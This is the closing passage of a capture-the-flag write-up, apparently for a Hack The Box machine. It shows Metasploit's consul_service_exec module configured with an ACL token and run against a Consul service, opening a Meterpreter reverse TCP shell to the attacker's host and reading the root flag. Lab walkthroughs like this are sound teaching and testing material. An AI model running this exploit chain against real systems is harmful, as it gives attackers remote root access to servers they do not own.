RPORT 8500 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes The base path
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload options (linux/x86/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Linux
msf6 exploit(multi/misc/consul_service_exec) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf6 exploit(multi/misc/consul_service_exec) > set lhost 10.10.14.17
lhost => 10.10.14.17
msf6 exploit(multi/misc/consul_service_exec) > set ACL_TOKEN bb03b43b-1d81-d62b-24b5-39540ee469b5
ACL_TOKEN => bb03b43b-1d81-d62b-24b5-39540ee469b5
msf6 exploit(multi/misc/consul_service_exec) > exploit
[*] Started reverse TCP handler on 10.10.14.17:4444
[*] Creating service 'vVpYMSnom'
[*] Service 'vVpYMSnom' successfully created.
[*] Waiting for service 'vVpYMSnom' script to trigger
[*] Sending stage (1017704 bytes) to 10.10.11.183
[*] Meterpreter session 1 opened (10.10.14.17:4444 -> 10.10.11.183:49344) at 2022-10-22 20:35:39 +0200
[*] Removing service 'vVpYMSnom'
[*] Command Stager progress - 100.00% done (763/763 bytes)
meterpreter > cat root/root.txt
2******************************7
And that's all, folks. Thanks for reading. Enjoy your hacking, ops, and pen-testing activities, and have a nice day. See you in the next BOX. Bye!